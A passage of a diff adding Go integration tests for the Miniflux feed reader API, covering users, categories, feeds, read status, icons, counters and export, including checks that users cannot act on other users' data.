+ } + + if err := regularUserClient.MarkAllAsRead(regularTestUser.ID); err != nil { + t.Fatal(err) + } + + results, err := regularUserClient.FeedEntries(feedID, nil) + if err != nil { + t.Fatal(err) + } + + for _, entry := range results.Entries { + if entry.Status != miniflux.EntryStatusRead { + t.Errorf(`Status for entry %d was %q instead of %q`, entry.ID, entry.Status, miniflux.EntryStatusRead) + } + } +} + +func TestCannotMarkUserAsReadAsOtherUser(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + adminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + + adminUser, err := adminClient.Me() + if err != nil { + t.Fatal(err) + } + + regularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false) + if err != nil { + t.Fatal(err) + } + defer adminClient.DeleteUser(regularTestUser.ID) + + regularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword) + if err := regularUserClient.MarkAllAsRead(adminUser.ID); err == nil { + t.Fatalf(`Non-admin users should not be able to mark another user as read`) + } +} + +func TestCreateCategoryEndpoint(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + adminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + + regularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false) + if err != nil { + t.Fatal(err) + } + defer adminClient.DeleteUser(regularTestUser.ID) + + regularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword) + + categoryName := "My category" + category, err := regularUserClient.CreateCategory(categoryName) + if err != nil { + t.Fatal(err) + } + + if category.ID == 0 { + t.Errorf(`Invalid categoryID, got "%v"`, category.ID) + } + + if category.UserID <= 0 { + t.Errorf(`Invalid userID, got "%v"`, category.UserID) + } + + if category.Title != categoryName { + t.Errorf(`Invalid title, got "%v" instead of "%v"`, category.Title, categoryName) + } +} + +func TestCreateCategoryWithEmptyTitle(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + client := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + _, err := client.CreateCategory("") + if err == nil { + t.Fatalf(`Creating a category with an empty title should raise an error`) + } +} + +func TestCannotCreateDuplicatedCategory(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + adminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + + regularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false) + if err != nil { + t.Fatal(err) + } + defer adminClient.DeleteUser(regularTestUser.ID) + + regularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword) + categoryName := "My category" + + if _, err := regularUserClient.CreateCategory(categoryName); err != nil { + t.Fatal(err) + } + + if _, err = regularUserClient.CreateCategory(categoryName); err == nil { + t.Fatalf(`Duplicated categories should not be allowed`) + } +} + +func TestUpdateCatgoryEndpoint(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + adminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + + regularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false) + if err != nil { + t.Fatal(err) + } + defer adminClient.DeleteUser(regularTestUser.ID) + + regularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword) + + categoryName := "My category" + category, err := regularUserClient.CreateCategory(categoryName) + if err != nil { + t.Fatal(err) + } + + updatedCategory, err := regularUserClient.UpdateCategory(category.ID, "new title") + if err != nil { + t.Fatal(err) + } + + if updatedCategory.ID != category.ID { + t.Errorf(`Invalid categoryID, got "%v"`, updatedCategory.ID) + } + + if updatedCategory.UserID != regularTestUser.ID { + t.Errorf(`Invalid userID, got "%v"`, updatedCategory.UserID) + } + + if updatedCategory.Title != "new title" { + t.Errorf(`Invalid title, got "%v" instead of "%v"`, updatedCategory.Title, "new title") + } +} + +func TestUpdateInexistingCategory(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + client := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + _, err := client.UpdateCategory(123456789, "new title") + if err == nil { + t.Fatalf(`Updating an inexisting category should raise an error`) + } +} +func TestDeleteCategoryEndpoint(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + adminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + + regularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false) + if err != nil { + t.Fatal(err) + } + defer adminClient.DeleteUser(regularTestUser.ID) + + regularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword) + + categoryName := "My category" + category, err := regularUserClient.CreateCategory(categoryName) + if err != nil { + t.Fatal(err) + } + + if err := regularUserClient.DeleteCategory(category.ID); err != nil { + t.Fatal(err) + } +} + +func TestCannotDeleteInexistingCategory(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + client := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + err := client.DeleteCategory(123456789) + if err == nil { + t.Fatalf(`Deleting an inexisting category should raise an error`) + } +} + +func TestCannotDeleteCategoryOfAnotherUser(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + adminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + regularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false) + if err != nil { + t.Fatal(err) + } + defer adminClient.DeleteUser(regularTestUser.ID) + + regularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword) + + category, err := regularUserClient.CreateCategory("My category") + if err != nil { + t.Fatal(err) + } + + err = adminClient.DeleteCategory(category.ID) + if err == nil { + t.Fatalf(`Regular users should not be able to delete categories of other users`) + } +} + +func TestGetCategoriesEndpoint(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + adminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + + regularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false) + if err != nil { + t.Fatal(err) + } + defer adminClient.DeleteUser(regularTestUser.ID) + + regularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword) + + category, err := regularUserClient.CreateCategory("My category") + if err != nil { + t.Fatal(err) + } + + categories, err := regularUserClient.Categories() + if err != nil { + t.Fatal(err) + } + + if len(categories) != 2 { + t.Fatalf(`Invalid number of categories, got %d instead of %d`, len(categories), 1) + } + + if categories[0].UserID != regularTestUser.ID { + t.Fatalf(`Invalid userID, got %d`, categories[0].UserID) + } + + if categories[0].Title != "All" { + t.Fatalf(`Invalid title, got %q instead of %q`, categories[0].Title, "All") + } + + if categories[1].ID != category.ID { + t.Fatalf(`Invalid categoryID, got %d`, categories[0].ID) + } + + if categories[1].UserID != regularTestUser.ID { + t.Fatalf(`Invalid userID, got %d`, categories[0].UserID) + } + + if categories[1].Title != "My category" { + t.Fatalf(`Invalid title, got %q instead of %q`, categories[0].Title, "My category") + } +} + +func TestMarkCategoryAsReadEndpoint(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + adminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + + regularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false) + if err != nil { + t.Fatal(err) + } + defer adminClient.DeleteUser(regularTestUser.ID) + + regularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword) + category, err := regularUserClient.CreateCategory("My category") + if err != nil { + t.Fatal(err) + } + + feedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{ + FeedURL: testConfig.testFeedURL, + CategoryID: category.ID, + }) + if err != nil { + t.Fatal(err) + } + + if err := regularUserClient.MarkCategoryAsRead(category.ID); err != nil { + t.Fatal(err) + } + + results, err := regularUserClient.FeedEntries(feedID, nil) + if err != nil { + t.Fatal(err) + } + + for _, entry := range results.Entries { + if entry.Status != miniflux.EntryStatusRead { + t.Errorf(`Status for entry %d was %q instead of %q`, entry.ID, entry.Status, miniflux.EntryStatusRead) + } + } +} + +func TestCreateFeedEndpoint(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + adminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + + regularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false) + if err != nil { + t.Fatal(err) + } + defer adminClient.DeleteUser(regularTestUser.ID) + + regularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword) + category, err := regularUserClient.CreateCategory("My category") + if err != nil { + t.Fatal(err) + } + + feedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{ + FeedURL: testConfig.testFeedURL, + CategoryID: category.ID, + }) + if err != nil { + t.Fatal(err) + } + + if feedID == 0 { + t.Errorf(`Invalid feedID, got "%v"`, feedID) + } +} + +func TestCannotCreateDuplicatedFeed(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + adminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + + regularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false) + if err != nil { + t.Fatal(err) + } + defer adminClient.DeleteUser(regularTestUser.ID) + + regularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword) + + feedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{ + FeedURL: testConfig.testFeedURL, + }) + if err != nil { + t.Fatal(err) + } + + if feedID == 0 { + t.Fatalf(`Invalid feedID, got "%v"`, feedID) + } + + _, err = regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{ + FeedURL: testConfig.testFeedURL, + }) + if err == nil { + t.Fatalf(`Duplicated feeds should not be allowed`) + } +} + +func TestCreateFeedWithInexistingCategory(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + adminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + + regularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false) + if err != nil { + t.Fatal(err) + } + defer adminClient.DeleteUser(regularTestUser.ID) + + regularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword) + + _, err = regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{ + FeedURL: testConfig.testFeedURL, + CategoryID: 123456789, + }) + + if err == nil { + t.Fatalf(`Creating a feed with an inexisting category should raise an error`) + } +} + +func TestCreateFeedWithEmptyFeedURL(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + client := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + _, err := client.CreateFeed(&miniflux.FeedCreationRequest{ + FeedURL: "", + }) + if err == nil { + t.Fatalf(`Creating a feed with an empty feed URL should raise an error`) + } +} + +func TestCreateFeedWithInvalidFeedURL(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + client := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + _, err := client.CreateFeed(&miniflux.FeedCreationRequest{ + FeedURL: "invalid_feed_url", + }) + if err == nil { + t.Fatalf(`Creating a feed with an invalid feed URL should raise an error`) + } +} + +func TestCreateDisabledFeed(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + adminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + + regularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false) + if err != nil { + t.Fatal(err) + } + defer adminClient.DeleteUser(regularTestUser.ID) + + regularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword) + + feedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{ + FeedURL: testConfig.testFeedURL, + Disabled: true, + }) + if err != nil { + t.Fatal(err) + } + + feed, err := regularUserClient.Feed(feedID) + if err != nil { + t.Fatal(err) + } + + if !feed.Disabled { + t.Fatalf(`The feed should be disabled`) + } +} + +func TestCreateFeedWithDisabledHTTPCache(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + adminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + + regularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false) + if err != nil { + t.Fatal(err) + } + defer adminClient.DeleteUser(regularTestUser.ID) + + regularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword) + + feedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{ + FeedURL: testConfig.testFeedURL, + IgnoreHTTPCache: true, + }) + if err != nil { + t.Fatal(err) + } + + feed, err := regularUserClient.Feed(feedID) + if err != nil { + t.Fatal(err) + } + + if !feed.IgnoreHTTPCache { + t.Fatalf(`The feed should ignore the HTTP cache`) + } +} + +func TestCreateFeedWithScraperRule(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + adminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + + regularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false) + if err != nil { + t.Fatal(err) + } + defer adminClient.DeleteUser(regularTestUser.ID) + + regularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword) + + feedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{ + FeedURL: testConfig.testFeedURL, + ScraperRules: "article", + }) + if err != nil { + t.Fatal(err) + } + + feed, err := regularUserClient.Feed(feedID) + if err != nil { + t.Fatal(err) + } + + if feed.ScraperRules != "article" { + t.Fatalf(`The feed should have the scraper rules set to "article"`) + } +} + +func TestUpdateFeedEndpoint(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + adminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + + regularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false) + if err != nil { + t.Fatal(err) + } + defer adminClient.DeleteUser(regularTestUser.ID) + + regularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword) + + feedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{ + FeedURL: testConfig.testFeedURL, + }) + if err != nil { + t.Fatal(err) + } + + feedUpdateRequest := &miniflux.FeedModificationRequest{ + FeedURL: miniflux.SetOptionalField("https://example.org/feed.xml"), + } + + updatedFeed, err := regularUserClient.UpdateFeed(feedID, feedUpdateRequest) + if err != nil { + t.Fatal(err) + } + + if updatedFeed.FeedURL != "https://example.org/feed.xml" { + t.Fatalf(`Invalid feed URL, got "%v"`, updatedFeed.FeedURL) + } +} + +func TestCannotHaveDuplicateFeedWhenUpdatingFeed(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + adminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + + regularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false) + if err != nil { + t.Fatal(err) + } + defer adminClient.DeleteUser(regularTestUser.ID) + + regularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword) + + if _, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{FeedURL: testConfig.testFeedURL}); err != nil { + t.Fatal(err) + } + + feedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{ + FeedURL: "https://github.com/miniflux/v2/commits.atom", + }) + if err != nil { + t.Fatal(err) + } + + feedUpdateRequest := &miniflux.FeedModificationRequest{ + FeedURL: miniflux.SetOptionalField(testConfig.testFeedURL), + } + + if _, err := regularUserClient.UpdateFeed(feedID, feedUpdateRequest); err == nil { + t.Fatalf(`Duplicated feeds should not be allowed`) + } +} + +func TestUpdateFeedWithInvalidCategory(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + adminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + + regularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false) + if err != nil { + t.Fatal(err) + } + defer adminClient.DeleteUser(regularTestUser.ID) + + regularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword) + + feedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{ + FeedURL: testConfig.testFeedURL, + }) + if err != nil { + t.Fatal(err) + } + + feedUpdateRequest := &miniflux.FeedModificationRequest{ + CategoryID: miniflux.SetOptionalField(int64(123456789)), + } + + if _, err := regularUserClient.UpdateFeed(feedID, feedUpdateRequest); err == nil { + t.Fatalf(`Updating a feed with an inexisting category should raise an error`) + } +} + +func TestMarkFeedAsReadEndpoint(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + adminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + + regularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false) + if err != nil { + t.Fatal(err) + } + defer adminClient.DeleteUser(regularTestUser.ID) + + regularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword) + + feedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{ + FeedURL: testConfig.testFeedURL, + }) + if err != nil { + t.Fatal(err) + } + + if err := regularUserClient.MarkFeedAsRead(feedID); err != nil { + t.Fatal(err) + } + + results, err := regularUserClient.FeedEntries(feedID, nil) + if err != nil { + t.Fatalf(`Failed to get updated entries: %v`, err) + } + + for _, entry := range results.Entries { + if entry.Status != miniflux.EntryStatusRead { + t.Errorf(`Status for entry %d was %q instead of %q`, entry.ID, entry.Status, miniflux.EntryStatusRead) + } + } +} + +func TestFetchCountersEndpoint(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + adminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + + regularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false) + if err != nil { + t.Fatal(err) + } + defer adminClient.DeleteUser(regularTestUser.ID) + + regularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword) + + feedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{ + FeedURL: testConfig.testFeedURL, + }) + if err != nil { + t.Fatal(err) + } + + counters, err := regularUserClient.FetchCounters() + if err != nil { + t.Fatal(err) + } + + if value, ok := counters.ReadCounters[feedID]; ok && value != 0 { + t.Errorf(`Invalid read counter, got %d`, value) + } + + if value, ok := counters.UnreadCounters[feedID]; !ok || value == 0 { + t.Errorf(`Invalid unread counter, got %d`, value) + } +} + +func TestDeleteFeedEndpoint(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + adminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + + regularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false) + if err != nil { + t.Fatal(err) + } + defer adminClient.DeleteUser(regularTestUser.ID) + + regularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword) + + feedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{ + FeedURL: testConfig.testFeedURL, + }) + if err != nil { + t.Fatal(err) + } + + if err := regularUserClient.DeleteFeed(feedID); err != nil { + t.Fatal(err) + } +} + +func TestRefreshAllFeedsEndpoint(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + adminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + + regularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false) + if err != nil { + t.Fatal(err) + } + defer adminClient.DeleteUser(regularTestUser.ID) + + regularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword) + + if err := regularUserClient.RefreshAllFeeds(); err != nil { + t.Fatal(err) + } +} + +func TestRefreshFeedEndpoint(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + adminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + + regularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false) + if err != nil { + t.Fatal(err) + } + defer adminClient.DeleteUser(regularTestUser.ID) + + regularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword) + + feedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{ + FeedURL: testConfig.testFeedURL, + }) + if err != nil { + t.Fatal(err) + } + + if err := regularUserClient.RefreshFeed(feedID); err != nil { + t.Fatal(err) + } +} + +func TestGetFeedEndpoint(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + adminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + + regularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false) + if err != nil { + t.Fatal(err) + } + defer adminClient.DeleteUser(regularTestUser.ID) + + regularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword) + + feedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{ + FeedURL: testConfig.testFeedURL, + }) + if err != nil { + t.Fatal(err) + } + + feed, err := regularUserClient.Feed(feedID) + if err != nil { + t.Fatal(err) + } + + if feed.ID != feedID { + t.Fatalf(`Invalid feedID, got %d`, feed.ID) + } + + if feed.FeedURL != testConfig.testFeedURL { + t.Fatalf(`Invalid feed URL, got %q`, feed.FeedURL) + } + + if feed.SiteURL != testConfig.testWebsiteURL { + t.Fatalf(`Invalid site URL, got %q`, feed.SiteURL) + } + + if feed.Title != testConfig.testFeedTitle { + t.Fatalf(`Invalid title, got %q`, feed.Title) + } +} + +func TestGetFeedIcon(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + adminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + + regularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false) + if err != nil { + t.Fatal(err) + } + defer adminClient.DeleteUser(regularTestUser.ID) + + regularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword) + + feedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{ + FeedURL: testConfig.testFeedURL, + }) + if err != nil { + t.Fatal(err) + } + + icon, err := regularUserClient.FeedIcon(feedID) + if err != nil { + t.Fatal(err) + } + + if icon == nil { + t.Fatalf(`Invalid icon, got nil`) + } + + if icon.MimeType == "" { + t.Fatalf(`Invalid mime type, got %q`, icon.MimeType) + } + + if len(icon.Data) == 0 { + t.Fatalf(`Invalid data, got empty`) + } + + icon, err = regularUserClient.Icon(icon.ID) + if err != nil { + t.Fatal(err) + } + + if icon == nil { + t.Fatalf(`Invalid icon, got nil`) + } + + if icon.MimeType == "" { + t.Fatalf(`Invalid mime type, got %q`, icon.MimeType) + } + + if len(icon.Data) == 0 { + t.Fatalf(`Invalid data, got empty`) + } +} + +func TestGetFeedIconWithInexistingFeedID(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + client := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + _, err := client.FeedIcon(123456789) + if err == nil { + t.Fatalf(`Fetching the icon of an inexisting feed should raise an error`) + } +} + +func TestGetFeedsEndpoint(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + adminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + + regularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false) + if err != nil { + t.Fatal(err) + } + defer adminClient.DeleteUser(regularTestUser.ID) + + regularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword) + + feedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{ + FeedURL: testConfig.testFeedURL, + }) + if err != nil { + t.Fatal(err) + } + + feeds, err := regularUserClient.Feeds() + if err != nil { + t.Fatal(err) + } + + if len(feeds) != 1 { + t.Fatalf(`Invalid number of feeds, got %d`, len(feeds)) + } + + if feeds[0].ID != feedID { + t.Fatalf(`Invalid feedID, got %d`, feeds[0].ID) + } + + if feeds[0].FeedURL != testConfig.testFeedURL { + t.Fatalf(`Invalid feed URL, got %q`, feeds[0].FeedURL) + } +} + +func TestGetCategoryFeedsEndpoint(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + adminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + + regularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false) + if err != nil { + t.Fatal(err) + } + defer adminClient.DeleteUser(regularTestUser.ID) + + regularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword) + + category, err := regularUserClient.CreateCategory("My category") + if err != nil { + t.Fatal(err) + } + + feedID, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{ + FeedURL: testConfig.testFeedURL, + CategoryID: category.ID, + }) + if err != nil { + t.Fatal(err) + } + + feeds, err := regularUserClient.CategoryFeeds(category.ID) + if err != nil { + t.Fatal(err) + } + + if len(feeds) != 1 { + t.Fatalf(`Invalid number of feeds, got %d`, len(feeds)) + } + + if feeds[0].ID != feedID { + t.Fatalf(`Invalid feedID, got %d`, feeds[0].ID) + } + + if feeds[0].FeedURL != testConfig.testFeedURL { + t.Fatalf(`Invalid feed URL, got %q`, feeds[0].FeedURL) + } +} + +func TestExportEndpoint(t *testing.T) { + testConfig := newIntegrationTestConfig() + if !testConfig.isConfigured() { + t.Skip(skipIntegrationTestsMessage) + } + + adminClient := miniflux.NewClient(testConfig.testBaseURL, testConfig.testAdminUsername, testConfig.testAdminPassword) + + regularTestUser, err := adminClient.CreateUser(testConfig.genRandomUsername(), testConfig.testRegularPassword, false) + if err != nil { + t.Fatal(err) + } + defer adminClient.DeleteUser(regularTestUser.ID) + + regularUserClient := miniflux.NewClient(testConfig.testBaseURL, regularTestUser.Username, testConfig.testRegularPassword) + + if _, err := regularUserClient.CreateFeed(&miniflux.FeedCreationRequest{FeedURL: testConfig.testFeedURL}); err != nil { + t.Fatal(err) + } + + exportedData, err := regularUserClient.Export() + if err != nil { + t.Fatal(err) + } + + if len(exportedData) == 0 { + t.Fatalf(`Invalid exported data, got empty`) + } + + if 